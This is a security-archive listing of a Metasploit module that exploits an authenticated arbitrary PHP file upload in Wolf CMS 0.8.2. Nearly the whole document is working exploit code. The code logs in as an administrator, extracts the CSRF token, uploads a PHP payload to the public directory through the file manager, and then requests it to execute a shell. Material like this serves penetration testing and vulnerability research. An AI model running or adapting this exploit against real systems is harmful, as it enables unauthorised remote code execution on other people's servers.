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packetstormNahendra BhatiPACKETSTORM:137604
HistoryJun 22, 2016 - 12:00 a.m.

Wolf CMS 0.8.2 Arbitrary PHP File Upload

2016-06-2200:00:00
Nahendra Bhati
packetstormsecurity.com
25

EPSS

0.007

Percentile

80.3%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize  
super(  
'Name' => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',  
'Description' => %q{  
This module exploits a file upload vulnerability in Wolfcms  
version 0.8.2. This application has an upload feature that   
allows an authenticated user with administrator roles to upload   
arbitrary files to the '/public' directory.  
},  
'Author' => [  
'Narendra Bhati', # Proof of concept  
'Rahmat Nurfauzi' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-6568'],   
['CVE', '2015-6567'],  
['OSVDB','126852'],   
['EDB', '38000'],  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Wolfcms <= 0.8.2', {}]  
],  
'DisclosureDate' => 'Aug 28 2015',  
'Privileged' => false,   
'DefaultTarget' => 0  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),  
OptString.new('USER', [true, 'User to login with', '']),  
OptString.new('PASS', [true, 'Password to login with', '']),  
], self.class)  
end  
  
def login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, "/?/admin/login/login/"),  
'vars_post' => {  
"login[username]" => datastore['USER'],  
"login[password]" => datastore['PASS'],  
"login[redirect]" => "/wolfcms/?/admin"  
}  
})  
return res  
end  
  
def exploit  
  
upload_name = rand_text_alpha(5 + rand(5)) + '.php'  
  
get_cookie = login.get_cookies  
cookie = get_cookie.split(";")[3]  
  
token = send_request_cgi({  
'method' => 'GET',  
'cookie' => cookie,  
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/")   
})  
  
html = token.body  
if html =~ /Files/  
print_status("Login successfuly")  
end  
csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first  
  
boundary = Rex::Text.rand_text_hex(28)  
  
data = "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"  
data << "\r\n"  
data << csrf_token  
data << "\r\n"  
data << "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"  
data << "/"  
data << "\r\n"  
data << "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"  
data << "Content-Type: text/x-php\r\n"  
data << "\r\n"  
data << payload.encoded  
data << "\r\n"  
data << "-----------------------------#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"commit\"\r\n"  
data << "\r\n"  
data << "Upload\r\n"  
data << "-----------------------------#{boundary}--\r\n\r\n"  
  
print_good("#{peer} - Payload uploaded as #{upload_name}")  
  
res = send_request_cgi({  
'method' => 'POST',   
'data' => data,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + boundary,  
'Cookie' => cookie,  
},  
'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/")   
})  
  
register_file_for_cleanup(upload_name)  
  
print_status("#{peer} - Executing shell...")  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "public",upload_name),  
})  
  
end   
end  
  
`

EPSS

0.007

Percentile

80.3%